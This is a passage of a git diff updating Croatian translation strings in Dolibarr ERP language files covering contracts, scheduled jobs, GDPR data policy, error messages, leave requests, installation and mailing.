+AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/hr_HR/contracts.lang b/htdocs/langs/hr_HR/contracts.lang index 914d10d0694..02745548de0 100644 --- a/htdocs/langs/hr_HR/contracts.lang +++ b/htdocs/langs/hr_HR/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Ugovori/Pretplate ContractsAndLine=Ugovori i stavke ugovora Contract=Ugovor ContractLine=Stavka ugovora +ContractLines=Contract lines Closing=Zatvaranje NoContracts=Nema ugovora MenuServices=Usluge @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Are you sure you want to delete this contract line? MoveToAnotherContract=Premjesti usluge u drugi ugovor ConfirmMoveToAnotherContract=Prihvaćam novi prikazani ugovor i potvrđujem da želim premjestit usluge u taj ugovor. ConfirmMoveToAnotherContractQuestion=Choose in which existing contract (of same third party), you want to move this service to? -PaymentRenewContractId=Obnovi liniju ugovora(broj %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Datum isteka NoExpiredServices=Nema isteklih aktivnih usluga ListOfServicesToExpireWithDuration=Lista usluga koja ističe za %s dana @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Potpisivanje ugovora u ime Klijenta HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/hr_HR/cron.lang b/htdocs/langs/hr_HR/cron.lang index c2b9ca55fba..2a5cb217d41 100644 --- a/htdocs/langs/hr_HR/cron.lang +++ b/htdocs/langs/hr_HR/cron.lang @@ -26,7 +26,7 @@ CronCommand=Komanda CronList=Planirani poslovi CronDelete=Obriši planirane zadatke CronConfirmDelete=Jeste li sigurni da želite izbrisati ove zakazane poslove? -CronExecute=Pokreni planirani posao +CronExecute=Launch now CronConfirmExecute=Jeste li sigurni da sada želite izvršiti ove zakazane poslove? CronInfo=Modul zakazanih poslova omogućuje zakazivanje poslova za njihovo automatsko izvršavanje. Poslovi se također mogu pokrenuti ručno. CronTask=Posao @@ -58,7 +58,7 @@ CronNote=Napomena CronFieldMandatory=Polja %s su obavezna CronErrEndDateStartDt=Datum kraja ne može biti prije datuma početka StatusAtInstall=Status pri instalaciji modula -CronStatusActiveBtn=Raspored +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Onemogući CronTaskInactive=Ovaj posao je onemogućen (nije zakazan) CronId=ID @@ -84,10 +84,17 @@ MakeLocalDatabaseDumpShort=Lokalni backup baze MakeLocalDatabaseDump=Izradite lokalni dump baze podataka. Parametri su: kompresija ('gz' ili 'bz' ili 'none'), vrsta sigurnosne kopije ('mysql', 'pgsql', 'auto'), 1, 'auto' ili naziv datoteke za izradu, broj datoteka sigurnosne kopije koje treba zadržati MakeSendLocalDatabaseDumpShort=Pošaljite sigurnosnu kopiju lokalne baze podataka MakeSendLocalDatabaseDump=Pošaljite sigurnosnu kopiju lokalne baze podataka putem e-pošte. Parametri su: do, od, predmet, poruka, naziv datoteke (naziv poslane datoteke), filter ('sql' samo za sigurnosnu kopiju baze podataka) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Pažnja, u svrhu izvedbe, bez obzira na sljedeći datum izvršenja omogućenih poslova, vaši poslovi mogu biti odgođeni na maksimalno %s sati prije pokretanja. DATAPOLICYJob=Čistač podataka i anonimizator JobXMustBeEnabled=Posao %s mora biti omogućen +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Posljednji izvršeni zakazani posao NextScheduledJobExecute=Sljedeći zakazani posao za izvršenje NumberScheduledJobError=Broj zakazanih poslova u pogreški +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/hr_HR/datapolicy.lang b/htdocs/langs/hr_HR/datapolicy.lang new file mode 100644 index 00000000000..73e80c1a65d --- /dev/null +++ b/htdocs/langs/hr_HR/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Kupac +DATAPOLICY_TIERS_PROSPECT = Potencijalni kupac +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Dobavljač +DATAPOLICY_CONTACT_CLIENT = Kupac +DATAPOLICY_CONTACT_PROSPECT = Potencijalni kupac +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Dobavljač +DATAPOLICY_ADHERENT = Član +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/hr_HR/dict.lang b/htdocs/langs/hr_HR/dict.lang index 3db1f7c08f3..58672d2f98f 100644 --- a/htdocs/langs/hr_HR/dict.lang +++ b/htdocs/langs/hr_HR/dict.lang @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Gđa. +CivilityMMEShort=Gđa. CivilityMR=G. +CivilityMRShort=G. CivilityMLE=Gđica. CivilityMTRE=Master CivilityDR=Doktor diff --git a/htdocs/langs/hr_HR/ecm.lang b/htdocs/langs/hr_HR/ecm.lang index 5069b1c21a3..b027523aa1b 100644 --- a/htdocs/langs/hr_HR/ecm.lang +++ b/htdocs/langs/hr_HR/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Ručna mapa ECMSectionAuto=Automatska mapa ECMSectionsManual=Ručno stablo ECMSectionsAuto=Automatsko stablo +ECMSectionsMedias=Medias tree ECMSections=Mape ECMRoot=ECM Root ECMNewSection=Nova mapa @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Broj datoteka u podmapama ECMCreationUser=Kreirao ECMArea=DMS/ECM area ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* Automatske mape se popunjavaju automatski kada dodajete dokumente s kartice elemenata.
      * Ručne mape mogu se koristiti za spremanje dokumenata koji nisu povezani s određenim elementom. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Mapa %s je obrisana. ECMSectionWasCreated=Directory %s has been created. ECMSearchByKeywords=Pretraživanje po ključnim riječima diff --git a/htdocs/langs/hr_HR/errors.lang b/htdocs/langs/hr_HR/errors.lang index d406d214388..6534ae9e7f7 100644 --- a/htdocs/langs/hr_HR/errors.lang +++ b/htdocs/langs/hr_HR/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=Prijava %s već postoji. ErrorGroupAlreadyExists=Grupa %s već postoji. ErrorEmailAlreadyExists=E-pošta %s već postoji. ErrorRecordNotFound=Zapis nije pronađen. +ErrorRecordNotFoundShort=Not found ErrorFailToCopyFile=Nije uspjelo kopiranje datoteke ' %s ' u ' %s '. ErrorFailToCopyDir=Nije uspjelo kopiranje mape ' %s ' u ' %s '. ErrorFailToRenameFile=Nije uspjelo preimenovanje datoteke ' %s ' u ' %s '. @@ -48,6 +49,7 @@ ErrorBadImageFormat=Datoteka slike nema podržani format (vaš PHP ne podržava ErrorBadDateFormat=Vrijednost '%s' ima pogrešan format datuma ErrorWrongDate=Datum nije točan! ErrorFailedToWriteInDir=Nije uspjelo upisivanje u direktorij %s +ErrorFailedToBuildArchive=Failed to build archive file %s ErrorFoundBadEmailInFile=Pronađena je netočna sintaksa e-pošte za %s retke u datoteci (primjer reda %s s email=%s) ErrorUserCannotBeDelete=Korisnik se ne može izbrisati. Možda je povezan s Dolibarrovim entitetima. ErrorFieldsRequired=Neka obavezna polja ostavljena su prazna. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Please fill value for checkbox list ErrorNoValueForRadioType=Please fill value for radio list ErrorBadFormatValueList=The list value cannot have more than one comma: %s, but need at least one: key,value ErrorFieldCanNotContainSpecialCharacters=Polje %s ne smije sadržavati posebne znakove. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Polje %s ne smije sadržavati posebne znakove, niti velika slova i ne može sadržavati samo brojeve. +ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters, and must start with an alphabetical character (a-z) ErrorFieldMustHaveXChar=Polje %s mora imati najmanje %s znakova. ErrorNoAccountancyModuleLoaded=Računovodstveni modul nije aktiviran ErrorExportDuplicateProfil=Ovaj naziv profila već postoji za ovaj skup za izvoz. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Polje %s : ' %s ' ne odgovara regex pravi ErrorHtmlInjectionForField=Field %s: The value '%s' contains a malicious data not allowed ErrorFieldValueNotIn=Polje %s : ' %s ' nije vrijednost koja se nalazi u polju %s tabele %s ErrorFieldRefNotIn=Polje %s: ' %s ' nije %s postojeći ref +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. ErrorsOnXLines=%s pronađene pogreške ErrorFileIsInfectedWithAVirus=Antivirusni program nije mogao provjeriti valjanost datoteke (datoteka je možda zaražena virusom) -ErrorSpecialCharNotAllowedForField=Posebni znakovi nisu dopušteni za polje "%s" ErrorNumRefModel=A reference exists into database (%s) and is not compatible with this numbering rule. Remove record or renamed reference to activate this module. ErrorQtyTooLowForThisSupplier=Quantity too low for this vendor or no price defined on this product for this vendor ErrorOrdersNotCreatedQtyTooLow=Some orders haven't been created because of too-low quantities @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Objects must have status 'Active' to ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Objects must have status 'Draft' or 'Disabled' to be enabled ErrorNoFieldWithAttributeShowoncombobox=No fields has property 'showoncombobox' into definition of object '%s'. No way to show the combolist. ErrorFieldRequiredForProduct=Field '%s' is required for product %s +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. ProblemIsInSetupOfTerminal=Problem is in setup of terminal %s. ErrorAddAtLeastOneLineFirst=Prvo dodajte barem jedan redak ErrorRecordAlreadyInAccountingDeletionNotPossible=Error, record is already transferred in accounting, deletion is not possible. @@ -277,8 +280,8 @@ ErrorWrongFileName=Name of the file cannot have __SOMETHING__ in it ErrorNotInDictionaryPaymentConditions=Not in Payment Terms Dictionary, please modify. ErrorIsNotADraft=%s nije skica ErrorExecIdFailed=Ne može izvršiti naredbu "id" -ErrorBadCharIntoLoginName=Neovlašteni znak u imenu za prijavu -ErrorRequestTooLarge=Pogreška, zahtjev je prevelik +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired ErrorNotApproverForHoliday=You are not the approver for leave %s ErrorAttributeIsUsedIntoProduct=Ovaj se atribut koristi u jednoj ili više varijanti proizvoda ErrorAttributeValueIsUsedIntoProduct=Ova vrijednost atributa koristi se u jednoj ili više varijanti proizvoda @@ -291,6 +294,15 @@ ErrorAjaxRequestFailed=Request failed ErrorThirpdartyOrMemberidIsMandatory=Third party or Member of partnership is mandatory ErrorFailedToWriteInTempDirectory=Failed to write in temp directory ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorFailedToLoadThirdParty=Failed to find/load thirdparty from id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=This payment mode is not a bank account +ErrorStripeCustomerNotFoundCreateFirst=Stripe customer is not set for this thirdparty (or set to a value deleted on Stripe side). Create (or re-attach) it first. +ErrorCharPlusNotSupportedByImapForSearch=IMAP search is not able to search into sender or recipient for a string containing the character + +ErrorTableNotFound=Table %s not found +ErrorValueForTooLow=Value for %s is too low +ErrorValueCantBeNull=Value for %s can't be null +ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Your PHP parameter upload_max_filesize (%s) is higher than PHP parameter post_max_size (%s). This is not a consistent setup. @@ -304,7 +316,7 @@ WarningConfFileMustBeReadOnly=Warning, your config file (htdocs/conf/conf.php WarningsOnXLines=Upozorenja na %s izvorni zapis(e) WarningNoDocumentModelActivated=Nije aktiviran nijedan model za generiranje dokumenata. Model će biti odabran prema zadanim postavkama dok ne provjerite postavke modula. WarningLockFileDoesNotExists=Warning, once setup is finished, you must disable the installation/migration tools by adding a file install.lock into directory %s. Omitting the creation of this file is a grave security risk. -WarningUntilDirRemoved=All security warnings (visible by admin users only) will remain active as long as the vulnerability is present (or that constant MAIN_REMOVE_INSTALL_WARNING is added in Setup->Other Setup). +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=Warning, closing is done even if amount differs between source and target elements. Enable this feature with caution. WarningUsingThisBoxSlowDown=Warning, using this box slow down seriously all pages showing the box. WarningClickToDialUserSetupNotComplete=Setup of ClickToDial information for your user are not complete (see tab ClickToDial onto your user card). @@ -326,6 +338,8 @@ WarningAvailableOnlyForHTTPSServers=Dostupno samo ako koristite zaštićenu HTTP WarningModuleXDisabledSoYouMayMissEventHere=Modul %s nije omogućen. Stoga možete propustiti mnogo događaja ovdje. WarningPaypalPaymentNotCompatibleWithStrict=Vrijednost "Strict" čini da značajke online plaćanja ne rade ispravno. Umjesto toga upotrijebite 'Lax'. WarningThemeForcedTo=Warning, theme has been forced to %s by hidden constant MAIN_FORCETHEME +WarningPagesWillBeDeleted=Warning, this will also delete all existing pages/containers of the website. You should export your website before, so you have a backup to re-import it later. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatic validation is disabled when option to decrease stock is set on "Invoice validation". # Validate RequireValidValue = Vrijednost nije važeća diff --git a/htdocs/langs/hr_HR/eventorganization.lang b/htdocs/langs/hr_HR/eventorganization.lang index 641bd90bb8c..c763f8bdd1b 100644 --- a/htdocs/langs/hr_HR/eventorganization.lang +++ b/htdocs/langs/hr_HR/eventorganization.lang @@ -54,12 +54,15 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = U obrascu za stvaranje/dodavanje sudion # Object # EventOrganizationConfOrBooth= Konferencija ili štand +EventOrganizationConfOrBoothes=Conferences or Boothes ManageOrganizeEvent = Upravljajte organizacijom događaja ConferenceOrBooth = Konferencija ili štand ConferenceOrBoothTab = Konferencija ili štand AmountPaid = Uplaćeni iznos DateOfRegistration = Datum registracije ConferenceOrBoothAttendee = Sudionik konferencije ili štanda +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -112,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. ListOfSuggestedConferences = Popis predloženih konferencija -ListOfSuggestedBooths = Popis predloženih štandova -ListOfConferencesOrBooths=List of conferences or booths of event project +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Suggest a new conference SuggestBooth = Suggest a booth ViewAndVote = View and vote for suggested events PublicAttendeeSubscriptionGlobalPage = Public link for registration to the event PublicAttendeeSubscriptionPage = Public link for registration to this event only MissingOrBadSecureKey = The security key is invalid or missing -EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event : %s +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event EvntOrgDuration = This conference starts on %s and ends on %s. ConferenceAttendeeFee = Conference attendee fee for the event : '%s' occurring from %s to %s. BoothLocationFee = Booth location for the event : '%s' occurring from %s to %s @@ -130,7 +133,7 @@ LabelOfconference=Conference label ConferenceIsNotConfirmed=Registration not available, conference is not confirmed yet DateMustBeBeforeThan=%s must be before %s DateMustBeAfterThan=%s must be after %s - +MaxNbOfAttendeesReached=The maximum number of participants has been reached NewSubscription=Registracija OrganizationEventConfRequestWasReceived=Your suggestion for a conference has been received OrganizationEventBoothRequestWasReceived=Your request for a booth has been received @@ -139,6 +142,7 @@ OrganizationEventPaymentOfRegistrationWasReceived=Your payment for your event re OrganizationEventBulkMailToAttendees=This is a remind about your participation in the event as an attendee OrganizationEventBulkMailToSpeakers=This is a reminder on your participation in the event as a speaker OrganizationEventLinkToThirdParty=Veza na treću stranu (kupac, dobavljač ili partner) +OrganizationEvenLabelName=Public name of the conference or booth NewSuggestionOfBooth=Prijava za štand NewSuggestionOfConference=Prijava za konferenciju @@ -154,7 +158,7 @@ VoteOk = Vaš glas je prihvaćen. AlreadyVoted = Već ste glasali za ovaj događaj. VoteError = Došlo je do pogreške tijekom glasanja, pokušajte ponovo. -SubscriptionOk = Vaša registracija je potvrđena +SubscriptionOk=Your registration has been recorded ConfAttendeeSubscriptionConfirmation = Potvrda vaše pretplate na događaj Attendee = Polaznik PaymentConferenceAttendee = Plaćanje sudionika konferencije @@ -162,6 +166,7 @@ PaymentBoothLocation = Plaćanje lokacije štanda DeleteConferenceOrBoothAttendee=Ukloni sudionika RegistrationAndPaymentWereAlreadyRecorder=Registracija i uplata već su zabilježeni za e-mail %s EmailAttendee=E-mail sudionika +EmailCompany=Company email EmailCompanyForInvoice=E-pošta tvrtke (za fakturu, ako se razlikuje od e-pošte sudionika) ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation diff --git a/htdocs/langs/hr_HR/holiday.lang b/htdocs/langs/hr_HR/holiday.lang index c75cc5b15bf..67887fcd065 100644 --- a/htdocs/langs/hr_HR/holiday.lang +++ b/htdocs/langs/hr_HR/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=Djelatnici -Holidays=Napusti +Holidays=Leaves +Holiday=Napusti CPTitreMenu=Napusti MenuReportMonth=Mjesečna izjava MenuAddCP=Novi zahtjev odsustva +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Izradi zahtjev odsustva DateDebCP=Datum početka @@ -56,6 +58,7 @@ ConfirmDeleteCP=Potvrdite brisanje ovog zahtjeva ? ErrorCantDeleteCP=Greška nemate pravo za brisanje zahtjeva. CantCreateCP=Nemate pravo za kreiranje zahtjeva. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Morate odabrati datum početka. NoDateFin=Morate odabrati datum završetka. ErrorDureeCP=Vaš zahtjev ne sadrži radni dan. @@ -79,6 +82,8 @@ MotifCP=Razlog UserCP=Korisnik ErrorAddEventToUserCP=Dogodila se greška kod dodavanja specijalnog odsustva. AddEventToUserOkCP=Dodatak specijalnog odsustva je završen. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Pregled dnevnika promjena LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Ažurirao @@ -86,6 +91,13 @@ UserUpdateCP=Ažurirano za PrevSoldeCP=Prijašnje stanje NewSoldeCP=Novo stanje alreadyCPexist=Zahtjev je već napravljen za ovaj period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Grupe +users=Korisnici +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Zadnja %s izmijenjena zahtjeva za odlaskom @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s je obično NEradni dan BlockHolidayIfNegative=Blokirajte ako je saldo negativan LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/hr_HR/install.lang b/htdocs/langs/hr_HR/install.lang index 5195a2e170d..51499430cdd 100644 --- a/htdocs/langs/hr_HR/install.lang +++ b/htdocs/langs/hr_HR/install.lang @@ -51,7 +51,6 @@ DatabaseName=Naziv baze podataka DatabasePrefix=Prefiks tablice baze podataka DatabasePrefixDescription=Prefiks tablice baze podataka. Ako je prazno, zadano je llx_. AdminLogin=Korisnički račun za vlasnika baze podataka Dolibarr. -PasswordAgain=Ponovno upišite potvrdu lozinke AdminPassword=Lozinka za vlasnika baze podataka Dolibarr. CreateDatabase=Izradi bazu podataka CreateUser=Stvorite korisnički račun ili dodijelite dopuštenje korisničkog računa za bazu podataka Dolibarr @@ -89,7 +88,7 @@ LoginAlreadyExists=Već postoji DolibarrAdminLogin=Dolibarr administratorska prijava AdminLoginAlreadyExists=Dolibarr administratorski račun ' %s ' već postoji. Vratite se ako želite stvoriti još jednu. FailedToCreateAdminLogin=Neuspješno kreiranje administratorskog računa. -WarningRemoveInstallDir=Upozorenje, iz sigurnosnih razloga, nakon završetka instalacije ili nadogradnje, trebali biste dodati datoteku pod nazivom install.lock u direktorij dokumenata Dolibarr kako biste spriječili ponovno slučajnu/zlonamjernu upotrebu instalacijskih alata. +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. FunctionNotAvailableInThisPHP=Nije dostupno u ovom PHP-u ChoosedMigrateScript=Odaberite skriptu za migraciju DataMigration=Migracija baze podataka (podaci) @@ -209,7 +208,12 @@ HideNotAvailableOptions=Sakrij nedostupne opcije ErrorFoundDuringMigration=Pogreške su prijavljene tijekom procesa migracije pa sljedeći korak nije dostupan. Da biste zanemarili pogreške, možete kliknuti ovdje , ali aplikacija ili neke značajke možda neće raditi ispravno dok se pogreške ne riješe. YouTryInstallDisabledByDirLock=Aplikacija se pokušala samostalno nadograditi, ali stranice za instalaciju/nadogradnju onemogućene su radi sigurnosti (direktorij je preimenovan sa sufiksom .lock).
      YouTryInstallDisabledByFileLock=Aplikacija se pokušala samostalno nadograditi, ali stranice za instalaciju/nadogradnju su onemogućene radi sigurnosti (zbog postojanja datoteke zaključavanja install.lock u direktoriju dokumenata dolibarra).
      +YouTryUpgradeDisabledByMissingFileUnLock=The application tried to self-upgrade, but the upgrade process is currently not allowed.
      ClickHereToGoToApp=Kliknite ovdje da biste otišli na svoju prijavu ClickOnLinkOrRemoveManualy=Ako je nadogradnja u tijeku, pričekajte. Ako ne, kliknite na sljedeću poveznicu. Ako uvijek vidite istu stranicu, morate ukloniti/preimenovati datoteku install.lock u direktoriju dokumenata. +ClickOnLinkOrCreateUnlockFileManualy=If an upgrade is in progress, please wait... If not, you must create a file upgrade.unlock into the Dolibarr documents directory. Loaded=Učitano FunctionTest=Funkcionalni test +NodoUpgradeAfterDB=No action requested by external modules after upgrade of database +NodoUpgradeAfterFiles=No action requested by external modules after upgrade of files or directories +MigrationContractLineRank=Migrate Contract Line to use Rank (and enable Reorder) diff --git a/htdocs/langs/hr_HR/mailmanspip.lang b/htdocs/langs/hr_HR/mailmanspip.lang index 4558c6834fc..60b4d01ee61 100644 --- a/htdocs/langs/hr_HR/mailmanspip.lang +++ b/htdocs/langs/hr_HR/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Test prijave je uspješno izvršen MailmanDeletionSuccess=Test odjave je uspješno izvršen SynchroMailManEnabled=Mailman će biti ažuriran SynchroSpipEnabled=SPIP će biti ažuriran -DescADHERENT_MAILMAN_ADMINPW=Mailman lozinka administratora +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman lozinka administratora DescADHERENT_MAILMAN_URL=URL za Mailman prijave DescADHERENT_MAILMAN_UNSUB_URL=URL za Mailman odjave DescADHERENT_MAILMAN_LISTS=Lista(e) za automatsku prijavu novih članova (odvojeno zarezom) diff --git a/htdocs/langs/hr_HR/mails.lang b/htdocs/langs/hr_HR/mails.lang index ee11e037600..a65d8f59324 100644 --- a/htdocs/langs/hr_HR/mails.lang +++ b/htdocs/langs/hr_HR/mails.lang @@ -7,10 +7,10 @@ MailCard=Kartica elektroničke pošte MailRecipients=Primatelji MailRecipient=Primatelj MailTitle=Opis -MailFrom=Pošiljatelj +MailFrom=Od MailErrorsTo=Pogreške MailReply=Odgovoriti na -MailTo=Primatelj(i) +MailTo=Za MailToUsers=Korisnicima MailCC=Kopirajte u MailToCCUsers=Kopirajte korisniku(cima) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=Treće osobe SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Odgovor je na početni email RecordCreatedByEmailCollector=Zapis kreiran od strane sakupljača e-pošte %s iz e-pošte %s DefaultBlacklistMailingStatus=Zadana vrijednost za polje '%s' prilikom stvaranja novog kontakta DefaultStatusEmptyMandatory=Prazan, ali obavezan +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/hr_HR/main.lang b/htdocs/langs/hr_HR/main.lang index f4cb6a922b8..c7cc0152a0b 100644 --- a/htdocs/langs/hr_HR/main.lang +++ b/htdocs/langs/hr_HR/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with 